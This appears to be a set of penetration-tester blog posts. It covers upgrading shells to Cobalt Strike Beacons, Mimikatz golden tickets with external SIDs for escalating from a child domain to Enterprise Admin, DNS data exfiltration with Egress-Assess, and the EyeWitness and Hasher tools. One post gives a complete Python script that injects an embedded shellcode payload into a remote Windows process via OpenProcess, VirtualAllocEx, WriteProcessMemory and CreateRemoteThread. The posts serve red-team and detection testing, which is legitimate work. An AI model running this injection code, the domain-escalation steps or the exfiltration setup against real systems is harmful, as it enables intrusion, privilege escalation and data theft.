Upgrading Your Shells to Beacons

It’s an issue we all encounter, we’re operating in a shell and want to upgrade it to something better. For many, this may be Meterpreter which is absolutely a valid choice. Another option I want to explore in this post is upgrading your shell to a Cobalt Strike Beacon.

In this instance, I’m going to cheat by generating a shell callback with Veil-Evasion to simulate operating in a shell and executing it on a VM.

Shell Callback

Now that I have my shell, it’s time to look into upgrading this to something better! First, I’ll need to setup a Beacon listener within Cobalt Strike. This is pretty simple, just select the headphones icon on the top menu and you’ll be presented with the Listener tab. Just select the “Add” button at the bottom and configure your listener as you see fit.

Beacon Listener

Once you’ve created your listener, it’s time to prep for the shell upgrade. I prefer to use Cobalt Strike’s powershell web-delivery feature to upgrade my shell. To set this up, click the powershell icon on the top menu and configure the attack. In this case, I customized the uri to be “upgrade”, I am using the default port 80, and the listener that I want to utilize was pre-selected.

Powershell Web Delivery

Now, just select launch, and you’ll be given the command that you can run on your victim machine.

Powershell One Liner

All you need to do now is just copy and paste this command into your shell, and you should see your beacon calling back!

Beacon Callback

If you have any questions, be sure to let me know! Hop in #Veil on Freenode or hit me up on twitter @ChrisTruncer.

Injecting Shellcode into a Remote Process with Python

In order to inject shellcode into a remote process, we’re going to have to interact with the Windows API, and it’s actually going to be fairly simple to do.  To start off, you need to check that you have the permissions to interact with the process that you want to inject shellcode into, and you will also need to know the process ID .  I’ll leave this to you to ensure you can verify and gather this information.

Now that we know we have the permissions to interact with the remote process, and the process ID is known, we can begin developing a script that will perform the injection.  First, we need to know the different calls (and understand the reason for calling them) to the Windows API we will need to make.  It’s simple, there’s just four main calls, and they are as follows:

  • OpenProcess – This is called to get a handle into the process we want to inject shellcode into
  • VirtualAllocEx – This is called to allocate memory for the shellcode in the remote process
  • WriteProcessMemory – This writes the shellcode to the allocated memory within the remote process
  • CreateRemoteThread – This creates a thread, and executes the shellcode within the remote process

Ctypes makes it very simple to interact with the Windows API in a Python script, so it will be a required import for this script.  The following is the completed script, and I will go over each part of the script in detail:

from ctypes import *

page_rwx_value = 0x40
process_all = 0x1F0FFF
memcommit = 0x00001000
kernel32_variable = windll.kernel32
shellcode = "\xbb\xbb\x48\x30\x8d\xdb\xdd\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x47\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb4\xaa\xc5\x71\x22\xa8\x26\x8a\xb2\xcd\xaf\x6f\x83\xcd\xd4\xe4\xb3\xfd\x9f\xa9\x3f\x75\xcd\x59\xb4\xfb\xda\x6e\x7d\xb1\x3c\x40\x7e\xea\x7d\xc3\xfc\xf1\x51\x23\x3d\x3a\xa4\x22\x7a\x27\x45\x76\xd3\x23\xf8\x67\x50\x79\xc1\x0c\x2a\x6f\x41\xf0\xfa\x8e\x60\xa7\x71\xc9\xa2\x49\x56\x61\xeb\x51\xbb\x4c\xa5\xea\x0f\x3a\x34\x3b\x5e\xc3\x9b\x02\x6f\x36\xe5\x43\x57\xa9\x90\xbd\xa4\x54\xa3\x79\xd7\x82\x26\x9a\x7f\x40\x90\x46\x7e\x85\x47\x0c\x8c\x62\x03\x4a\x90\x75\xc0\xe0\xac\xfe\xe7\x26\x25\x44\xcc\xe2\x6e\x1e\x6d\xb2\xca\xf1\x92\xa4\xb5\xae\x36\xae\x5b\xba\x4a\xed\x33\x0f\x67\x0e\xc3\x07\xf0\x7d\xf1\x88\xaa\xe9\xb9\x41\x75\xed\xbe\x7b\xc1\x61\x41\x84\x32\xab\x85\xd0\x62\xc3\x2c\x59\xe9\x13\xd1\x8c\xbe\x43\x7d\x7f\x7f\x34\x3d\x2f\x17\x5e\xb2\x10\x07\x61\x19\x39\xa2\x9b\xc9\x86\x9b\x9b\x96\x6f\xde\xe3\x89\x8c\x57\x05\xa3\x42\x3e\x9d\x5b\xfa\x1b\x55\xfa\x03\xb6\x13\x3c\x8f\x35\xe3\xf2\x78\x33\xf7\x62\x89\x0e\xa5\x24\x96\xa4\xc0\xc8\x02\x43\x43\x9f\xba\x49\xb2\xd7\x64\xb1\x91\x6c\xac\x27\x5a\x1a\xd1\xa7\x5a\xda\x87\xad\x5a\xb2\x7f\x96\x08\xa7\x7f\x03\x3d\x74\xea\xac\x14\x29\xbd\xc4\x9a\x14\x89\x4a\x64\x73\x0b\xb6\xb3\xbd\x79\xd6\x07"
process_id = 1234
shellcode_length = len(shellcode)

process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)
memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0)
kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0)



***************************Line By Line Description*******************************

from ctypes import * – The ctypes import is required and is what allows us to interact with the Windows API within python.

page_rwx_value – This is a variable that sets the section of memory that will store the shellcode as read, write, and executable.

processall_variable – This variable states that when we try to open a handle into the process we’re injecting into, we want to have “all possible access rights” into the process.

memcommit –  This variable is set to allocate memory and ensure it is zeroed upon writing to memory.

kernel32_variable – This just stores the available calls from windll.kernel32 within a single variable.

Shellcode – This is the shellcode that will be injected into memory and executed

process_id – This is the process ID that the shellcode will be injected into

shellcode_length – This variable stores the length of the shellcode that will be injected and executed

process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)  – This line makes a call to OpenProcess.  The point of this line is to return a handle into the process we are injecting shellcode into.  We’re specifically asking for all possible process rights, stating that we don’t need to inherit the handle, and specifying the process ID of the process to obtain a handle from.

memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) – This line calls VirtualAllocEx, a function that allocates memory in a remote process.  It requires a handle to the process that will have memory allocated (obtained from the OpenProcess call), the size that should be allocated (shellcode length), the type of memory allocation that should be performed (memcommit), and the memory protection that should be placed on the allocated memory range (read, write, execute).  It returns the base address to the memory that was allocated by the function.

kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0) – This line calls WriteProcessMemory which writes data (shellcode) to an area of memory within a process of our choosing.  The function receives the process handle that was obtained, the base address where the function will write memory to, our shellcode, and the length of the shellcode, and the value 0 which tells the function to ignore an optional output.

kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0) – This calls CreateRemoteThread, which will create a thread (go figure) within the another process.  This function call takes in a handle to the process which the shellcode is being injected into, None – states that the thread inherits a default security descriptor, 0 – defines the stack size to be the default size for that executable, the base address of the memory allocated earlier, and the final “0”s are miscellaneous parameters that tells the function that we aren’t providing “A pointer to the application-defined function” (source: MSDN), there isn’t a variable passed in, and to execute the thread immediately

From this point on, the shellcode should execute within the targeted process, and you should be set!  If there are any questions, errors, or something that needs to be addressed, let me know!

Golden Tickets and External SIDs – Spread the Compromise

Note: Be sure to check out Sean Metcalf’s (@Pyrotek3) post about this technique available here!  He talked about this at BlackHat USA 2015!

Benjamin Delpy (@gentilkiwi) recently tweeted about adding External SIDs into Mimikatz’s golden tickets which was quickly followed up by Skip Duckwall (@Passingthehash) also tweeting how devastating this addition can be to defenders.  Skip said it best by saying, “Pwning the child can (with default settings) compromise the parent”.  This capability has a fairly significant impact for both attackers and defenders.  If as an attacker I can just target the weakest child domain and leverage that access to compromise the parent domain, my attack path just potentially became significantly easier.  As a defender, I now know that if any child domain is compromised, then the integrity of the forest as a whole is now in jeopardy.

This was something that I really wanted to test myself, so I did just that.  I set up a parent (sonofflynnlab.com) and child (child.sonofflynnlab.com) domain in my home lab with workstations in each respective domain.  I used the default settings when creating the child domain within the parent domain.  There’s a total of four normal user accounts:

  • test1 and test2 – Members of the parent domain’s (SONOFFLYNNLAB) Domain Users group
  • testc1 and testc2 – Members of the child domain’s (CHILD.SONOFFLYNNLAB) Domain Users group

Once both domains were created and populated with user and computer accounts, I wanted to test the relationship between the two domains.  One of the easiest ways to do this is to use Veil-Powerview, which is part of the Veil-Framework’s Powertools and developed by Will Schroeder (@harmj0y).  I ran Invoke-MapDomainTrusts to view the relationship between the two domains and received the following output:

3 - domaintrustsAs you can see, there’s a bidirectional trust between the child and parent domain.  Now that it looks like I have everything setup the way I would like it to be, it’s time to test creating a golden ticket with an external SID.  To give some context to how I am testing this scenario, I will be running all commands from a workstation within the child domain and will be logged into the workstation in the context of a user within the child domain.

The first step I will perform is to download Mimikatz onto this workstation and purge all kerberos tickets.

1 - mimikatz krb purgeNow that all tickets have been purged, let’s verify that I cannot access either the child domain’s domain controller’s C$ share, or the parent domain’s domain controller’s C$ share.

2 - cantaccessNext, lets build the golden ticket with the external/parent SID information.  The golden ticket is built with all the same information as a normal golden ticket with the addition of the external SID via the /sids flag.  At this point, I’m going to assume that you have already obtained the krbtgt hash, and domain sid of the child domain.  If you need help finding this information, review this post.  However, the new piece of information that we will need to grab is the SID of the parent domain, and the RID of the group we want to “add” the user to.  One way to obtain this is to utilize PowerView.  I can use the Get-NetLocalGroup command to find the SID of the domain with the following command (since my machine can currently hit the parent domain’s DC):


Once I’ve obtained all the information I need, it’s time to create the golden ticket.

pttchild In this case, you can see I am referencing the 519 group which is the Enterprise Admins group within the external SID.  If you are looking to change the group you wish to “add” yourself into, some default group values are available here. I’m also using /ptt to immediately submit the ticket.

Now that my ticket has been submitted, it’s time to open a command prompt with the submitted ticket applied to it.

4 - getshellLet’s test our access!

5 - accesstoprimarydcSweet!  My normal domain user account within the child domain now has access to not only the child domain’s domain controller’s C$ share, but I can also access the C$ share on the parent domain’s domain controller since I am essentially running in the context of an Enterprise Admin!

At this point, I can leverage any number of techniques to move into the parent domain.  Needless to say, this is something that I will look for on future assessments.






EyeWitness 2.0 Release and User Guide!

Github Repo: https://github.com/ChrisTruncer/EyeWitness

For the past few months, the EyeWitness codebase has gone through multiple refactors, nearly all by Rohan Vazarkar (@CptJesus), but also myself.  One thing that I try to preach, and any developer should agree with, is that there are three primary features a script/tool needs to have.  It needs to be usable, perform a service of value (otherwise why even write it), but it also needs to be stable.  With the recent updates to the back-end libraries EyeWitness uses, we failed on that last feature.  At times, EyeWitness would seem to just crash on us, but then run perfectly seconds later.  After many assessments of encountering these shared frustrations, we decided to start from scratch.

As of now, I’m happy to release EyeWitness 2.0, a complete re-write from the ground up.  We took stability as the driving goal for our design decisions, and which libraries to use, and made the 2.0 version something that we are really happy to finally push out.  This post will serve as a user’s guide, to show how to use the primary features of the tool.

First, our new menu:

EyeWitness Menu 2 0

Note: There’s more options available than what is displayed above.

First, let’s talk about the original/primary goal of EyeWitness, taking screenshots of websites!  We removed Ghost from EyeWitness, due to stability reasons, and added in two different methods of taking screenshots.  When using –web, EyeWitness will call selenium, which uses the actual browser (IceWeasel or Firefox) installed on your system, to take screenshots.  You won’t see s browser pop-up, but it’s running in the background, and taking screenshots of the URLs that you provided.

Due to the fact that we encountered a large number of issues when relying on a single library to take screenshots, we decided that we didn’t want to have another single point of failure, so we added in another option when it comes for web screenshots.  You can use “–headless” to use phantomjs to take screenshots of websites.  The nice thing about phantomjs is it’s very fast, and can run in a headless environment.

Finally, probably the most requested feature we’ve had for some time is for EyeWitness to thread its requests.  I’m really happy to say that threading has been added into EyeWitness!  By default, EyeWitness will use 10 threads, but this number can be adjusted by the user with the “–threads #NUMTHREADS” option.  The ability to run threaded scans has significantly cut back on the amount of time required to scan all URLs provided to EyeWitness.

Next, we’ve added in the ability to take screenshots and generate a report for RDP and VNC all because of the awesome work by Sylvain Peyrefitte (@citronneur) and the RDPY project.  Now, all you need to do is use the –rdp or –vnc switch, and EyeWitness will attempt to screenshot either service.  RDP screenshots will take a picture of the login screen, which will potentially also capture any other user accounts currently logged into the system.  VNC screenshots will attempt to connect to a VNC service which doesn’t require authentication, and capture a screenshot of the VNC environment.

RDP Scan

RDP Report

Due to the stability issues EyeWitness had in the past, we ran into instances where EyeWitness may get 90% of the way through a scan, crash on a single host, and would have to start all over.  This was another major point of frustration for Rohan and myself.  This was initially solved by Robin Wood (@digininja) when he provided us with a script that would generate a report based off of the currently available information that EyeWitness had gathered.  We also wanted to look into this, and have now added in proper resume support!  As of this 2.0 update, EyeWitness will use a sqlite database to track the systems that are queued up for screenshots, and then mark them complete in the database once done.  In the event of a crash, or of the user CTRL + C to quit out of the scan, the latest information will be saved to the sqlite DB, which is in the report output folder.  Once the user is ready to resume their scan, you just need to call EyeWitness with the –resume option, and pass the location of the database file.

EW Cancel

2nd updated resume

The above pictures are what you should see when canceling a scan, and then resuming it at a later time.

Finally, the last new feature I want to go over is the new report generated by EyeWitness.  EyeWitness will still attempt to identify default credentials for each web application that it scans.  However, a new report layout was created for the 2.0 release.  Not only does the EyeWitness report perform default credential checks, it also now will attempt to sort out and group different types of web applications together.  We’ve created a group called “High Value Targets” which may have admin login links available, or any other target that might be of immediate interest to the user, such as Tomcat servers.  The report will have a table of contents at the top, which can be used to jump right to any section of the report.

Report TOC

Report Section

Report Errors

Oh, and just one more thing.

One request that we had from Steve Borosh (@424f424f) was to make our report searchable.  Initially, we turned this down because we didn’t want to require a complete back-end database, we wanted EyeWitness Reports to be portable.  However, Rohan created a search script which will parse the sqlite database that’s created with each scan and generate a report based on what you’re searching for.  Want to test it out? It’s easy, just call the search script, pass in the path to the sqlite database, and provide the search strings.  A new report will be created containing the results!

Report Search

Search Results

We hope that this helps to explain the major updates to EyeWitness!  If there’s any questions you still have, feel free to contact @CptJesus or @ChrisTruncer on twitter, in #Veil on Freenode, or leave a comment below.  Thanks, and hope this helps!

Egress-Assess and Owning File Data Exfiltration

Since its creation, Egress-Assess’s primary use-case has been to generate faux data, such as social security numbers, and attempt to exfiltrate that data over a variety of different protocols.  It’s use is both for pen testers and blue teamers that are trying to gauge whether or not an/their organization can detect sensitive data that is egressing their network boundary.  Data loss can have a huge impact on customers, just read any major breach in the past 12 months.  Social security and credit card numbers are great for a quick demo, but sometimes real data is needed to demonstrate impact.  Both Steve (@424f424f) and myself recognize this, and are happy to say we’ve added in the ability to exfiltrate real files with Egress-Assess.

Why did this feature get added in?  Our threats are doing this, that’s why.  Hacking into companies isn’t just about getting shells anymore.  Attackers are breaking into companies to steal their data.  This threat is real, and as professional pen testers/red teamers, we should be looking to emulate the threats that our customers are facing.  Evolving our tradecraft to include data exfiltration testing can directly give value to our customers.  When we can point to the fact that 7 gigs of credit card numbers were exfiltrated from our customer’s network and not a single one was detected, then we can show exactly where they need to improve upon.

As you can see, Egress-Assess now supports a –file option (-Datatype with path to file in powershell):

EA Help with File

Nearly all modules currently support DNS file transfers.  The only modules which still requires an update is the dns_resolved module, however dns (straight) does support file transfers, and transfers over DNS in powershell.  The difference between the two is dns_resolved uses recursive lookups to transfer file data, and dns (straight) points DNS packets directly to the DNS/Egress-Assess server you specify.

DNS files transfers automatically attempt to use the maximum size allowable within a DNS packet to transfer files.  You may see the total packet number change mid transfer, and this is due to Egress-Assess adjusting the amount of data sent in each packet to remain protocol compliant.  DNS file transfers in Egress-Assess use the following logic:

  1. While there is data to send, continue sending data
  2. Packets sent are sent with the Packet number, a delimiter (“.:|:.”), and then file data.  All of this information is base64 encoded.
  3. The server receives the packet, ensures it matches the above layout, and then responds with the packet number that was received, and the string “allgoodhere”.
  4. If the client/sender receives the response packet, move on to sending the next packet.  If no response is received within 2 seconds, retransmit.

Sending file data

Once there is no more data to send, the sender:

  1. Sends a DNS TXT packet with the string “ENDTHISFILETRANSMISSIONEGRESSASSESS” which is concatenated with the name of the file that is being transferred.
  2. The server receives the end packet, and writes out the data received throughout the transmission, in order, to the filename received in the end transmission packet.


We developed the client and server to speak in this manner to ensure all data is received, and will be written out in the proper order.  A quick md5sum test shows that we actually have recreated the same exact file on the server that was sent over DNS.

MD5 Sum FIles

I hope this helps explain DNS transfers, and everything in this latest release of Egress-Assess.  If anyone has any questions, feel free to hit me (@ChrisTruncer) or Steve (@424f424f) up on twitter or in #Veil on freenode!

Hasher Re-Write/Update

Github Repo: https://github.com/ChrisTruncer/Hasher

I have made some changes to Hasher, ideally I’d like to think for the better. Hasher was originally a single, large, python script that was used to hash plaintext strings, and compare a hash value to a plaintext string.  Hasher still performs the same actions, generates hashes or compares them with a plaintext string, but Hasher now has been converted into a framework which will allow myself, or anyone else, to easily add in support for different hashes.

Usage is still essentially the same, however there is no longer an interactive menu.  Hasher is now completely command line based.

Hasher Menu

To see a list of all hash-types that Hasher currently supports, simply run ./Hasher.py –list


Once you have the hash-type you want to generate a hash for, it’s fairly simple to generate.  For example, if you were looking to generate (-G) a md5 hash for the string “password123”, you would do it this way:

./Hasher.py -G --plaintext password123 --hash-type md5

You should see output similar to the following:

MD5 Generated

Harmj0y provided me with a great idea when using Hasher.  He had a use case where he just wanted Hasher to dump out all possible hashes for a specific plaintext string, but didn’t want to have to generate all hashes manually.  I added in the ability to generate all possible hash types based on the information provided.  To do this, you would run the following command:

./Hasher.py --plaintext password123 --hash-type all -G

When you run this, you should see output similar to the following:

Hasher All Output

Another capability that Hasher has, is it can take a plaintext string and hash, and then compare (-C) the the plaintext string to ensure it matches the hash.  This has been useful for me when needing to check if a hash and string “equal” each other, without submitting any of the information online.  So, lets continue the previous example.  If you wanted to verify that the plaintext string “password123” matches the md5 hash “482c811da5d5b4bc6d497ffa98491e38”, your command should look like this:

./Hasher.py -C --plaintext password123 --hash 482c811da5d5b4bc6d497ffa98491e38 --hash-type md5

True Comparison

For testing purposes, if the hash and plaintext string didn’t match up, it would look like the following:

False Hasher Comparison


Hash Module Development

Adding in support for new hash types is significantly easier now.  Every *.py file within the “hash_ops” folder is automatically picked up and parsed by Hasher.  Within the hash_ops folder, is a text file called “hash_template.txt”.  To add in a new hash-type, simply copy the template file and rename it with a .py extension.  There’s only two required methods within each module:

  • __init__ – This method needs to contained a self.hash_type attribute.  This is what is used by the user from the command line to select a specific hash.  Any other information within the __init__ method is optional.
  • generate – The generate method is called by Hasher to generate a hash.  This method has complete access to all options passed in from the command line by the user.  It must return the hash of the plaintext string.

For a sample, this is what the md5 module looks like:

Hasher MD5 Updated

Hopefully, this helps explain the minor usability changes to Hasher, and elaborates on how it’s now easier to add support for new hashes.  If anyone has any questions, feel free to reach out to me on twitter (@ChrisTruncer) or in #Veil on Freenode!

Exfiltrate Data via DNS with Egress-Assess

Egress-Assess Repo: https://github.com/ChrisTruncer/Egress-Assess

DNS is a channel that can usually be utilized to exfiltrate data out over a network.  Even in the event that a network you are operating in requires authenticating to a proxy for data to leave a network, users can typically make DNS requests which are forwarded on via the local DNS servers in the user’s network.  An attacker can utilize normal DNS functionality to forward data, C2, etc. out of the current network to a destination of their choosing, and Raphael Mudge has already weaponized this for use in Beacon with Cobalt Strike.

A new module has been added in to Egress-Assess that allows you to utilize your system’s DNS server to exfiltrate data.  This is different from the existing DNS module within Egress-Assess.  The existing module send a DNS packet directly to the DNS server you specify, the “dns_resolved” module utilizes your network’s own DNS server.

To utilize the existing network’s DNS server, it will require some setup.  Raphael also has a blog post describing virtually the same configuration/setup that will be required to exfiltrate your data.

The first step I took was to create an A record egress.christophertruncer.com and point that to the server I intend on acting as my endpoint for the data I am exfiltrating.  Next, I created a NS record for a subdomain that I will use for exfiltrating data, and then point the NS record to the A record I just created (egress.christophertruncer.com).  My setup looks like the following:

DNS NS Record

Now, everything is setup and ready to go!  To use this, my sample Egress-Assess command would be:

./Egress-Assess --client dns_resolved --datatype ssn --ip test.christophertruncer.com

Since egress.christophertruncer.com acts as the nameserver for test.christophertruncer.com, all requests using the “test” subdomain are sent to egress, sending all data over DNS to an endpoint I control.

If you have any questions on this, feel free to shoot a tweet my way or hop in #veil on Freenode!